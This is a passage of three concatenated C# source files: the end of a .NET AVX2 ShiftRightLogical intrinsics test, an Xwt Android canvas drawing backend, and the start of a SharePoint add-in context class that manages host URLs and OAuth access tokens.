TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_LoadAligned)); var firstOp = Avx.LoadAlignedVector256((Int32*)(_dataTable.inArrayPtr)); var result = Avx2.ShiftRightLogical(firstOp, 32); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(firstOp, _dataTable.outArrayPtr); } public void RunClassLclFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassLclFldScenario)); var test = new ImmUnaryOpTest__ShiftRightLogicalInt3232(); var result = Avx2.ShiftRightLogical(test._fld, 32); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld, _dataTable.outArrayPtr); } public void RunClassFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassFldScenario)); var result = Avx2.ShiftRightLogical(_fld, 32); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_fld, _dataTable.outArrayPtr); } public void RunStructLclFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructLclFldScenario)); var test = TestStruct.Create(); var result = Avx2.ShiftRightLogical(test._fld, 32); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld, _dataTable.outArrayPtr); } public void RunStructFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructFldScenario)); var test = TestStruct.Create(); test.RunStructFldScenario(this); } public void RunUnsupportedScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunUnsupportedScenario)); bool succeeded = false; try { RunBasicScenario_UnsafeRead(); } catch (PlatformNotSupportedException) { succeeded = true; } if (!succeeded) { Succeeded = false; } } private void ValidateResult(Vector256<Int32> firstOp, void* result, [CallerMemberName] string method = "") { Int32[] inArray = new Int32[Op1ElementCount]; Int32[] outArray = new Int32[RetElementCount]; Unsafe.WriteUnaligned(ref Unsafe.As<Int32, byte>(ref inArray[0]), firstOp); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int32, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector256<Int32>>()); ValidateResult(inArray, outArray, method); } private void ValidateResult(void* firstOp, void* result, [CallerMemberName] string method = "") { Int32[] inArray = new Int32[Op1ElementCount]; Int32[] outArray = new Int32[RetElementCount]; Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int32, byte>(ref inArray[0]), ref Unsafe.AsRef<byte>(firstOp), (uint)Unsafe.SizeOf<Vector256<Int32>>()); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int32, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector256<Int32>>()); ValidateResult(inArray, outArray, method); } private void ValidateResult(Int32[] firstOp, Int32[] result, [CallerMemberName] string method = "") { bool succeeded = true; if (0 != result[0]) { succeeded = false; } else { for (var i = 1; i < RetElementCount; i++) { if (0 != result[i]) { succeeded = false; break; } } } if (!succeeded) { TestLibrary.TestFramework.LogInformation($"{nameof(Avx2)}.{nameof(Avx2.ShiftRightLogical)}<Int32>(Vector256<Int32><9>): {method} failed:"); TestLibrary.TestFramework.LogInformation($" firstOp: ({string.Join(", ", firstOp)})"); TestLibrary.TestFramework.LogInformation($" result: ({string.Join(", ", result)})"); TestLibrary.TestFramework.LogInformation(string.Empty); Succeeded = false; } } } }
// // DroidContextBackendHandler.cs // // Author: // Lytico // // Copyright (c) 2014 Lytico (http://limada.org) // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. using System; using System.Linq; using Xwt.Backends; using System.Globalization; using AG = Android.Graphics; using XD = Xwt.Drawing; namespace Xwt.DroidBackend { public class DroidContextBackendHandler : ContextBackendHandler { public virtual object CreateContext (Widget w) { var b = (IDroidCanvasBackend)w.GetBackend (); var ctx = new DroidContext (); if (b.Context != null) { ctx.Canvas = b.Context.Canvas; } return ctx; } public override void Save (object backend) { var c = (DroidContext)backend; c.Save (); } public override void Restore (object backend) { var c = (DroidContext)backend; c.Restore (); } public override void NewPath (object backend) { var c = (DroidContext)backend; c.Path = null; } public override void ClosePath (object backend) { var c = (DroidContext)backend; c.Path.Close (); } public override object CreatePath () { return new AG.Path (); } public override object CopyPath (object backend) { return new AG.Path ((AG.Path)backend); } public override void AppendPath (object backend, object otherBackend) { ((AG.Path)backend).AddPath ((AG.Path)otherBackend); } public override void Clip (object backend) { var c = (DroidContext)backend; c.Canvas.ClipPath (c.Path); c.Path = null; } public override void ClipPreserve (object backend) { var c = (DroidContext)backend; c.Canvas.ClipPath (c.Path); } public void ResetClip (object backend) { var c = (DroidContext)backend; using (var p = new AG.Path ()) c.Canvas.ClipPath (p); } const double degrees = System.Math.PI / 180d; public override void Arc (object backend, double xc, double yc, double radius, double angle1, double angle2) { var c = (DroidContext)backend; if (angle1 > 0 && angle2 == 0) angle2 = 360; if ((angle2 - angle1) == 360) c.Path.AddCircle ((float)(xc), (float)(yc), (float)radius, AG.Path.Direction.Cw); else c.Path.ArcTo ( new AG.RectF ((float)(xc- radius), (float)(yc- radius), (float)(xc+radius), (float)(yc+radius)), (float)angle1, (float)(angle2 - angle1), false); } public override void CurveTo (object backend, double x1, double y1, double x2, double y2, double x3, double y3) { var c = (DroidContext)backend; c.Path.CubicTo ((float)x1, (float)y1, (float)x2, (float)y2, (float)x3, (float)y3); c.Current = new Point (x3, y3); } public override void LineTo (object backend, double x, double y) { var c = (DroidContext)backend; c.Path.LineTo ((float)x, (float)y); c.Current = new Point (x, y); } public override void MoveTo (object backend, double x, double y) { var c = (DroidContext)backend; c.Path.Close (); c.Path.MoveTo ((float)x, (float)y); c.Current = new Point (x, y); } public override void Rectangle (object backend, double x, double y, double width, double height) { var c = (DroidContext)backend; c.Path.AddRect ((float)x, (float)y, (float)(x + width), (float)(y + height), Android.Graphics.Path.Direction.Cw); } public override void RelCurveTo (object backend, double dx1, double dy1, double dx2, double dy2, double dx3, double dy3) { var c = (DroidContext)backend; c.Path.RCubicTo ((float)dx1, (float)dy1, (float)dx2, (float)dy2, (float)dx3, (float)dy3); c.Current += new Size (dx3, dy3); } public override void RelLineTo (object backend, double dx, double dy) { var c = (DroidContext)backend; c.Path.RLineTo ((float)dx, (float)dy); c.Current += new Size (dx, dy); } public override void RelMoveTo (object backend, double dx, double dy) { var c = (DroidContext)backend; c.Path.RMoveTo ((float)dx, (float)dy); c.Current += new Size (dx, dy); } public override void DrawTextLayout (object backend, Drawing.TextLayout layout, double x, double y) { var c = (DroidContext)backend; var tl = (DroidTextLayoutBackend)layout.GetBackend (); var strw = c.Paint.StrokeWidth; var style = c.Paint.GetStyle (); tl.SetPaint (c.Paint); try { c.Paint.StrokeWidth = 0.3f; c.Paint.SetStyle (AG.Paint.Style.FillAndStroke); var text = layout.Text; var fx = (float)x; var fy = (float)y; var wrapper = new TextWrapper (); wrapper.SingleLine = w => c.Canvas.DrawText (text, fx, fy + w.LineY, c.Paint); wrapper.MultiLine = w => { var st = text.Substring (w.LineStart, w.CursorPos - w.LineStart); if (w.LineY + w.LineHeight > w.MaxHeight && w.CursorPos < text.Length) st += ((char)0x2026).ToString (); c.Canvas.DrawText (st, fx, fy + w.LineY, c.Paint); }; wrapper.Wrap (tl, c.Paint); } finally { c.Paint.StrokeWidth = strw; c.Paint.SetStyle (style); } } public override void Fill (object backend) { FillPreserve (backend); NewPath (backend); } public override void FillPreserve (object backend) { var c = (DroidContext)backend; c.Paint.SetStyle (AG.Paint.Style.Fill); c.Canvas.DrawPath (c.Path, c.Paint); } public override void Stroke (object backend) { StrokePreserve (backend); NewPath (backend); } public override void StrokePreserve (object backend) { var c = (DroidContext)backend; c.Paint.SetStyle (AG.Paint.Style.Stroke); c.Canvas.DrawPath (c.Path, c.Paint); } public override void SetColor (object backend, Drawing.Color color) { var c = (DroidContext)backend; c.Paint.Color = color.ToDroid (); } public override void SetLineWidth (object backend, double width) { var c = (DroidContext)backend; c.Paint.StrokeWidth = (float)width; } public void SetFont (object backend, Drawing.Font font) { var c = (DroidContext)backend; c.Font = (FontData)font.GetBackend (); } public override void ModifyCTM (object backend, Drawing.Matrix m) { var c = (DroidContext)backend; var am = c.CTM; am.Prepend (m); c.Canvas.Matrix = am; } public override Drawing.Matrix GetCTM (object backend) { var c = (DroidContext)backend; return c.CTM.ToXwt (); } public void ResetTransform (object backend) { var c = (DroidContext)backend; c.CTM.Reset (); } public override void Rotate (object backend, double angle) { var c = (DroidContext)backend; c.Canvas.Rotate ((float)angle); } /// <summary> /// Sets the scale to 1 /// </summary> /// <param name="backend">Backend.</param> public void ResetScale (object backend) { var c = (DroidContext)backend; var v = new float[9]; c.CTM.GetValues (v); c.Canvas.Scale (1f / v [AG.Matrix.MscaleX], 1f / v [AG.Matrix.MscaleY]); } public override void Scale (object backend, double scaleX, double scaleY) { var c = (DroidContext)backend; //ResetScale (backend); c.Canvas.Scale ((float)scaleX, (float)scaleY); } public override void Translate (object backend, double tx, double ty) { var c = (DroidContext)backend; c.Canvas.Translate ((float)tx, (float)ty); } public override void Dispose (object backend) { var c = (DroidContext)backend; c.Dispose (); } public override void DrawImage (object backend, ImageDescription img, double x, double y) { var c = (DroidContext)backend; var dimg = (DroidImage)img.Backend; if (img.Size == dimg.Size) c.Canvas.DrawBitmap (dimg.Image, (float)x, (float)y, c.Paint); else { c.Canvas.DrawBitmap (dimg.Image, new Rectangle (0, 0, dimg.Size.Width, dimg.Size.Height).ToDroid (), new Rectangle (x, y, img.Size.Width, img.Size.Height).ToDroid (), c.Paint); } } public override void DrawImage (object backend, ImageDescription img, Rectangle srcRect, Rectangle destRect) { var c = (DroidContext)backend; var dimg = (DroidImage)img.Backend; c.Canvas.DrawBitmap (dimg.Image, srcRect.ToDroid (), destRect.ToDroid (), c.Paint); } public override void SetLineDash (object backend, double offset, params double[] pattern) { var c = (DroidContext)backend; if (pattern == null || pattern.Length == 0) { c.Paint.SetPathEffect (null); return; } var eff = new AG.DashPathEffect (pattern.Select (p => (float)p).ToArray (), 0); c.Paint.SetPathEffect (eff); } public override void SetPattern (object backend, object p) { var c = (DroidContext)backend; c.Paint.SetShader (p as AG.Shader); } double _globalAlpha = 1d; public override void SetGlobalAlpha (object backend, double globalAlpha) { var c = (DroidContext)backend; //c.Paint.Alpha = (int)(globalAlpha * 255); _globalAlpha = globalAlpha; } public override double GetScaleFactor (object backend) { return 1; } // TODO: public override bool IsPointInStroke (object backend, double x, double y) { throw new NotImplementedException (); } public override bool IsPointInFill (object backend, double x, double y) { throw new NotImplementedException (); } public override void ArcNegative (object backend, double xc, double yc, double radius, double angle1, double angle2) { throw new NotImplementedException (); } } }
using Microsoft.IdentityModel.S2S.Protocols.OAuth2; using Microsoft.IdentityModel.Tokens; using Microsoft.SharePoint.Client; using System; using System.Net; using System.Security.Principal; using System.Web; using System.Web.Configuration; namespace ChromeControlPHAWeb { /// <summary> /// Encapsulates all the information from SharePoint. /// </summary> public abstract class SharePointContext { public const string SPHostUrlKey = "SPHostUrl"; public const string SPAppWebUrlKey = "SPAppWebUrl"; public const string SPLanguageKey = "SPLanguage"; public const string SPClientTagKey = "SPClientTag"; public const string SPProductNumberKey = "SPProductNumber"; protected static readonly TimeSpan AccessTokenLifetimeTolerance = TimeSpan.FromMinutes(5.0); private readonly Uri spHostUrl; private readonly Uri spAppWebUrl; private readonly string spLanguage; private readonly string spClientTag; private readonly string spProductNumber; // <AccessTokenString, UtcExpiresOn> protected Tuple<string, DateTime> userAccessTokenForSPHost; protected Tuple<string, DateTime> userAccessTokenForSPAppWeb; protected Tuple<string, DateTime> appOnlyAccessTokenForSPHost; protected Tuple<string, DateTime> appOnlyAccessTokenForSPAppWeb; /// <summary> /// Gets the SharePoint host url from QueryString of the specified HTTP request. /// </summary> /// <param name="httpRequest">The specified HTTP request.</param> /// <returns>The SharePoint host url. Returns <c>null</c> if the HTTP request doesn't contain the SharePoint host url.</returns> public static Uri GetSPHostUrl(HttpRequestBase httpRequest) { if (httpRequest == null) { throw new ArgumentNullException("httpRequest"); } string spHostUrlString = TokenHelper.EnsureTrailingSlash(httpRequest.QueryString[SPHostUrlKey]); Uri spHostUrl; if (Uri.TryCreate(spHostUrlString, UriKind.Absolute, out spHostUrl) && (spHostUrl.Scheme == Uri.UriSchemeHttp || spHostUrl.Scheme == Uri.UriSchemeHttps)) { return spHostUrl; } return null; } /// <summary> /// Gets the SharePoint host url from QueryString of the specified HTTP request. /// </summary> /// <param name="httpRequest">The specified HTTP request.</param> /// <returns>The SharePoint host url. Returns <c>null</c> if the HTTP request doesn't contain the SharePoint host url.</returns> public static Uri GetSPHostUrl(HttpRequest httpRequest) { return GetSPHostUrl(new HttpRequestWrapper(httpRequest)); } /// <summary> /// The SharePoint host url. /// </summary> public Uri SPHostUrl { get { return this.spHostUrl; } } /// <summary> /// The SharePoint app web url. /// </summary> public Uri SPAppWebUrl { get { return this.spAppWebUrl; } } /// <summary> /// The SharePoint language. /// </summary> public string SPLanguage { get { return this.spLanguage; } } /// <summary> /// The SharePoint client tag. /// </summary> public string SPClientTag { get { return this.spClientTag; } } /// <summary> /// The SharePoint product number. /// </summary> public string SPProductNumber { get { return this.spProductNumber; } } /// <summary> /// The user access token for the SharePoint host. /// </summary> public abstract string UserAccessTokenForSPHost { get; } /// <summary> /// The user access token for the SharePoint app web. /// </summary> public abstract string UserAccessTokenForSPAppWeb { get; } /// <summary> /// The app only access token for the SharePoint host. /// </summary> public abstract string AppOnlyAccessTokenForSPHost { get; } /// <summary> /// The app only access token for the SharePoint app web. /// </summary> public abstract string AppOnlyAccessTokenForSPAppWeb { get; } /// <summary> /// Constructor. /// </summary> /// <param name="spHostUrl">The SharePoint host url.</param> /// <param name="spAppWebUrl">The SharePoint app web url.</param> /// <param name="spLanguage">The SharePoint language.</param> /// <param name="spClientTag">The SharePoint client tag.</param> /// <param name="spProductNumber">The SharePoint product number.</param> protected SharePointContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber) { if (spHostUrl == null) { throw new ArgumentNullException("spHostUrl"); } if (string.IsNullOrEmpty(spLanguage)) { throw new ArgumentNullException("spLanguage"); } if (string.IsNullOrEmpty(spClientTag)) { throw new ArgumentNullException("spClientTag"); } if (string.IsNullOrEmpty(spProductNumber)) { throw new ArgumentNullException("spProductNumber"); } this.spHostUrl = spHostUrl; this.spAppWebUrl = spAppWebUrl; this.spLanguage = spLanguage; this.spClientTag = spClientTag; this.spProductNumber = spProductNumber; } /// <summary> /// Creates a user ClientContext for the SharePoint host. /// </summary> /// <returns>A ClientContext instance.</returns> public ClientContext CreateUserClientContextForSPHost() { return CreateClientContext(this.SPHostUrl, this.UserAccessTokenForSPHost); } /// <summary> /// Creates a user ClientContext for the SharePoint app web. /// </summary> /// <returns>A ClientContext instance.</returns> public ClientContext CreateUserClientContextForSPAppWeb() { return CreateClientContext(this.SPAppWebUrl, this.UserAccessTokenForSPAppWeb); } /// <summary> /// Creates app only ClientContext for the SharePoint host. /// </summary> /// <returns>A ClientContext instance.</returns> public ClientContext CreateAppOnlyClientContextForSPHost() { return CreateClientContext(this.SPHostUrl, this.AppOnlyAccessTokenForSPHost); } /// <summary> /// Creates an app only ClientContext for the SharePoint app web. /// </summary> /// <returns>A ClientContext instance.</returns> public ClientContext CreateAppOnlyClientContextForSPAppWeb() { return CreateClientContext(this.SPAppWebUrl, this.AppOnlyAccessTokenForSPAppWeb); } /// <summary> /// Gets the database connection string from SharePoint for autohosted app. /// </summary> /// <returns>The database connection string. Returns <c>null</c> if the app is not autohosted or there is no database.</returns> public string GetDatabaseConnectionString() { string dbConnectionString = null; using (ClientContext clientContext = CreateAppOnlyClientContextForSPHost()) { if (clientContext != null) { var result = AppInstance.RetrieveAppDatabaseConnectionString(clientContext); clientContext.ExecuteQuery(); dbConnectionString = result.Value; } } if (dbConnectionString == null) { const string LocalDBInstanceForDebuggingKey = "LocalDBInstanceForDebugging"; var dbConnectionStringSettings = WebConfigurationManager.ConnectionStrings[LocalDBInstanceForDebuggingKey]; dbConnectionString = dbConnectionStringSettings != null ? dbConnectionStringSettings.ConnectionString : null; } return dbConnectionString; } /// <summary> /// Determines if the specified access token is valid. /// It considers an access token as not valid if it is null, or it has expired. /// </summary> /// <param name="accessToken">The access token to verify.</param> /// <returns>True if the access token is valid.</returns> protected static bool IsAccessTokenValid(Tuple<string, DateTime> accessToken) { return accessToken != null && !string.IsNullOrEmpty(accessToken.Item1) && accessToken.Item2 > DateTime.UtcNow; } /// <summary> /// Creates a ClientContext with the specified SharePoint site url and the access token. /// </summary> /// <param name="spSiteUrl">The site url.</param> /// <param name="accessToken">The access token.</param> /// <returns>A ClientContext instance.</returns> private static ClientContext CreateClientContext(Uri spSiteUrl, string accessToken) { if (spSiteUrl != null && !string.IsNullOrEmpty(accessToken)) { return TokenHelper.GetClientContextWithAccessToken(spSiteUrl.AbsoluteUri, accessToken); } return null; } } /// <summary> /// Redirection status. /// </summary> public enum RedirectionStatus { Ok, ShouldRedirect, CanNotRedirect } /// <summary> /// Provides SharePointContext instances. /// </summary> public abstract class SharePointContextProvider { private static SharePointContextProvider current; /// <summary> /// The current SharePointContextProvider instance. /// </summary> public static SharePointContextProvider Current { get { return SharePointContextProvider.current; } } /// <summary> /// Initializes the default SharePointContextProvider instance. /// </summary> static SharePointContextProvider() { if (!TokenHelper.IsHighTrustApp()) { SharePointContextProvider.current = new SharePointAcsContextProvider(); } else { SharePointContextProvider.current = new SharePointHighTrustContextProvider(); } } /// <summary> /// Registers the specified SharePointContextProvider instance as current. /// It should be called by Application_Start() in Global.asax. /// </summary> /// <param name="provider">The SharePointContextProvider to be set as current.</param> public static void Register(SharePointContextProvider provider) { if (provider == null) { throw new ArgumentNullException("provider"); } SharePointContextProvider.current = provider; } /// <summary> /// Checks if it is necessary to redirect to SharePoint for user to authenticate. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <param name="redirectUrl">The redirect url to SharePoint if the status is ShouldRedirect. <c>Null</c> if the status is Ok or CanNotRedirect.</param> /// <returns>Redirection status.</returns> public static RedirectionStatus CheckRedirectionStatus(HttpContextBase httpContext, out Uri redirectUrl) { if (httpContext == null) { throw new ArgumentNullException("httpContext"); } redirectUrl = null; if (SharePointContextProvider.Current.GetSharePointContext(httpContext) != null) { return RedirectionStatus.Ok; } const string SPHasRedirectedToSharePointKey = "SPHasRedirectedToSharePoint"; if (!string.IsNullOrEmpty(httpContext.Request.QueryString[SPHasRedirectedToSharePointKey])) { return RedirectionStatus.CanNotRedirect; } Uri spHostUrl = SharePointContext.GetSPHostUrl(httpContext.Request); if (spHostUrl == null) { return RedirectionStatus.CanNotRedirect; } if (StringComparer.OrdinalIgnoreCase.Equals(httpContext.Request.HttpMethod, "POST")) { return RedirectionStatus.CanNotRedirect; } Uri requestUrl = httpContext.Request.Url; var queryNameValueCollection = HttpUtility.ParseQueryString(requestUrl.Query); // Removes the values that are included in {StandardTokens}, as {StandardTokens} will be inserted at the beginning of the query string. queryNameValueCollection.Remove(SharePointContext.SPHostUrlKey); queryNameValueCollection.Remove(SharePointContext.SPAppWebUrlKey); queryNameValueCollection.Remove(SharePointContext.SPLanguageKey); queryNameValueCollection.Remove(SharePointContext.SPClientTagKey); queryNameValueCollection.Remove(SharePointContext.SPProductNumberKey); // Adds SPHasRedirectedToSharePoint=1. queryNameValueCollection.Add(SPHasRedirectedToSharePointKey, "1"); UriBuilder returnUrlBuilder = new UriBuilder(requestUrl); returnUrlBuilder.Query = queryNameValueCollection.ToString(); // Inserts StandardTokens. const string StandardTokens = "{StandardTokens}"; string returnUrlString = returnUrlBuilder.Uri.AbsoluteUri; returnUrlString = returnUrlString.Insert(returnUrlString.IndexOf("?") + 1, StandardTokens + "&"); // Constructs redirect url. string redirectUrlString = TokenHelper.GetAppContextTokenRequestUrl(spHostUrl.AbsoluteUri, Uri.EscapeDataString(returnUrlString)); redirectUrl = new Uri(redirectUrlString, UriKind.Absolute); return RedirectionStatus.ShouldRedirect; } /// <summary> /// Checks if it is necessary to redirect to SharePoint for user to authenticate. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <param name="redirectUrl">The redirect url to SharePoint if the status is ShouldRedirect. <c>Null</c> if the status is Ok or CanNotRedirect.</param> /// <returns>Redirection status.</returns> public static RedirectionStatus CheckRedirectionStatus(HttpContext httpContext, out Uri redirectUrl) { return CheckRedirectionStatus(new HttpContextWrapper(httpContext), out redirectUrl); } /// <summary> /// Creates a SharePointContext instance with the specified HTTP request. /// </summary> /// <param name="httpRequest">The HTTP request.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if errors occur.</returns> public SharePointContext CreateSharePointContext(HttpRequestBase httpRequest) { if (httpRequest == null) { throw new ArgumentNullException("httpRequest"); } // SPHostUrl Uri spHostUrl = SharePointContext.GetSPHostUrl(httpRequest); if (spHostUrl == null) { return null; } // SPAppWebUrl string spAppWebUrlString = TokenHelper.EnsureTrailingSlash(httpRequest.QueryString[SharePointContext.SPAppWebUrlKey]); Uri spAppWebUrl; if (!Uri.TryCreate(spAppWebUrlString, UriKind.Absolute, out spAppWebUrl) || !(spAppWebUrl.Scheme == Uri.UriSchemeHttp || spAppWebUrl.Scheme == Uri.UriSchemeHttps)) { spAppWebUrl = null; } // SPLanguage string spLanguage = httpRequest.QueryString[SharePointContext.SPLanguageKey]; if (string.IsNullOrEmpty(spLanguage)) { return null; } // SPClientTag string spClientTag = httpRequest.QueryString[SharePointContext.SPClientTagKey]; if (string.IsNullOrEmpty(spClientTag)) { return null; } // SPProductNumber string spProductNumber = httpRequest.QueryString[SharePointContext.SPProductNumberKey]; if (string.IsNullOrEmpty(spProductNumber)) { return null; } return CreateSharePointContext(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber, httpRequest); } /// <summary> /// Creates a SharePointContext instance with the specified HTTP request. /// </summary> /// <param name="httpRequest">The HTTP request.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if errors occur.</returns> public SharePointContext CreateSharePointContext(HttpRequest httpRequest) { return CreateSharePointContext(new HttpRequestWrapper(httpRequest)); } /// <summary> /// Gets a SharePointContext instance associated with the specified HTTP context. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if not found and a new instance can't be created.</returns> public SharePointContext GetSharePointContext(HttpContextBase httpContext) { if (httpContext == null) { throw new ArgumentNullException("httpContext"); } Uri spHostUrl = SharePointContext.GetSPHostUrl(httpContext.Request); if (spHostUrl == null) { return null; } SharePointContext spContext = LoadSharePointContext(httpContext); if (spContext == null || !ValidateSharePointContext(spContext, httpContext)) { spContext = CreateSharePointContext(httpContext.Request); if (spContext != null) { SaveSharePointContext(spContext, httpContext); } } return spContext; } /// <summary> /// Gets a SharePointContext instance associated with the specified HTTP context. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if not found and a new instance can't be created.</returns> public SharePointContext GetSharePointContext(HttpContext httpContext) { return GetSharePointContext(new HttpContextWrapper(httpContext)); } /// <summary> /// Creates a SharePointContext instance. /// </summary> /// <param name="spHostUrl">The SharePoint host url.</param> /// <param name="spAppWebUrl">The SharePoint app web url.</param> /// <param name="spLanguage">The SharePoint language.</param> /// <param name="spClientTag">The SharePoint client tag.</param> /// <param name="spProductNumber">The SharePoint product number.</param> /// <param name="httpRequest">The HTTP request.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if errors occur.</returns> protected abstract SharePointContext CreateSharePointContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, HttpRequestBase httpRequest); /// <summary> /// Validates if the given SharePointContext can be used with the specified HTTP context. /// </summary> /// <param name="spContext">The SharePointContext.</param> /// <param name="httpContext">The HTTP context.</param> /// <returns>True if the given SharePointContext can be used with the specified HTTP context.</returns> protected abstract bool ValidateSharePointContext(SharePointContext spContext, HttpContextBase httpContext); /// <summary> /// Loads the SharePointContext instance associated with the specified HTTP context. /// </summary> /// <param name="httpContext">The HTTP context.</param> /// <returns>The SharePointContext instance. Returns <c>null</c> if not found.</returns> protected abstract SharePointContext LoadSharePointContext(HttpContextBase httpContext); /// <summary> /// Saves the specified SharePointContext instance associated with the specified HTTP context. /// <c>null</c> is accepted for clearing the SharePointContext instance associated with the HTTP context. /// </summary> /// <param name="spContext">The SharePointContext instance to be saved, or <c>null</c>.</param> /// <param name="httpContext">The HTTP context.</param> protected abstract void SaveSharePointContext(SharePointContext spContext, HttpContextBase httpContext); } #region ACS /// <summary> /// Encapsulates all the information from SharePoint in ACS mode. /// </summary> public class SharePointAcsContext : SharePointContext { private readonly string contextToken; private readonly SharePointContextToken contextTokenObj; /// <summary> /// The context token. /// </summary> public string ContextToken { get { return this.contextTokenObj.ValidTo > DateTime.UtcNow ? this.contextToken : null; } } /// <summary> /// The context token's "CacheKey" claim. /// </summary> public string CacheKey { get { return this.contextTokenObj.ValidTo > DateTime.UtcNow ? this.contextTokenObj.CacheKey : null; } } /// <summary> /// The context token's "refreshtoken" claim. /// </summary> public string RefreshToken { get { return this.contextTokenObj.ValidTo > DateTime.UtcNow ? this.contextTokenObj.RefreshToken : null; } } public override string UserAccessTokenForSPHost { get { return GetAccessTokenString(ref this.userAccessTokenForSPHost, () => TokenHelper.GetAccessToken(this.contextTokenObj, this.SPHostUrl.Authority)); } } public override string UserAccessTokenForSPAppWeb { get { if (this.SPAppWebUrl == null) { return null; } return GetAccessTokenString(ref this.userAccessTokenForSPAppWeb, () => TokenHelper.GetAccessToken(this.contextTokenObj, this.SPAppWebUrl.Authority)); } } public override string AppOnlyAccessTokenForSPHost { get { return GetAccessTokenString(ref this.appOnlyAccessTokenForSPHost, () => TokenHelper.GetAppOnlyAccessToken(TokenHelper.SharePointPrincipal, this.SPHostUrl.Authority, TokenHelper.GetRealmFromTargetUrl(this.SPHostUrl))); } } public override string AppOnlyAccessTokenForSPAppWeb { get { if (this.SPAppWebUrl == null) { return null; } return GetAccessTokenString(ref this.appOnlyAccessTokenForSPAppWeb, () => TokenHelper.GetAppOnlyAccessToken(TokenHelper.SharePointPrincipal, this.SPAppWebUrl.Authority, TokenHelper.GetRealmFromTargetUrl(this.SPAppWebUrl))); } } public SharePointAcsContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, string contextToken, SharePointContextToken contextTokenObj) : base(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber) { if (string.IsNullOrEmpty(contextToken)) { throw new ArgumentNullException("contextToken"); } if (contextTokenObj == null) { throw new ArgumentNullException("contextTokenObj"); } this.contextToken = contextToken; this.contextTokenObj = contextTokenObj; } /// <summary> /// Ensures the access token is valid and returns it. /// </summary> /// <param name="accessToken">The access token to verify.</param> /// <param name="tokenRenewalHandler">The token renewal handler.</param> /// <returns>The access token string.</returns> private static string GetAccessTokenString(ref Tuple<string, DateTime> accessToken, Func<OAuth2AccessTokenResponse> tokenRenewalHandler) { RenewAccessTokenIfNeeded(ref accessToken, tokenRenewalHandler); return IsAccessTokenValid(accessToken) ? accessToken.Item1 : null; } /// <summary> /// Renews the access token if it is not valid. /// </summary> /// <param name="accessToken">The access token to renew.</param> /// <param name="tokenRenewalHandler">The token renewal handler.</param> private static void RenewAccessTokenIfNeeded(ref Tuple<string, DateTime> accessToken, Func<OAuth2AccessTokenResponse> tokenRenewalHandler) { if (IsAccessTokenValid(accessToken)) { return; } try { OAuth2AccessTokenResponse oAuth2AccessTokenResponse = tokenRenewalHandler(); DateTime expiresOn = oAuth2AccessTokenResponse.ExpiresOn; if ((expiresOn - oAuth2AccessTokenResponse.NotBefore) > AccessTokenLifetimeTolerance) { // Make the access token get renewed a bit earlier than the time when it expires // so that the calls to SharePoint with it will have enough time to complete successfully. expiresOn -= AccessTokenLifetimeTolerance; } accessToken = Tuple.Create(oAuth2AccessTokenResponse.AccessToken, expiresOn); } catch (WebException) { } } } /// <summary> /// Default provider for SharePointAcsContext. /// </summary> public class SharePointAcsContextProvider : SharePointContextProvider { private const string SPContextKey = "SPContext"; private const string SPCacheKeyKey = "SPCacheKey"; protected override SharePointContext CreateSharePointContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, HttpRequestBase httpRequest) { string contextTokenString = TokenHelper.GetContextTokenFromRequest(httpRequest); if (string.IsNullOrEmpty(contextTokenString)) { return null; } SharePointContextToken contextToken = null; try { contextToken = TokenHelper.ReadAndValidateContextToken(contextTokenString, httpRequest.Url.Authority); } catch (WebException) { return null; } catch (AudienceUriValidationFailedException) { return null; } return new SharePointAcsContext(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber, contextTokenString, contextToken); } protected override bool ValidateSharePointContext(SharePointContext spContext, HttpContextBase httpContext) { SharePointAcsContext spAcsContext = spContext as SharePointAcsContext; if (spAcsContext != null) { Uri spHostUrl = 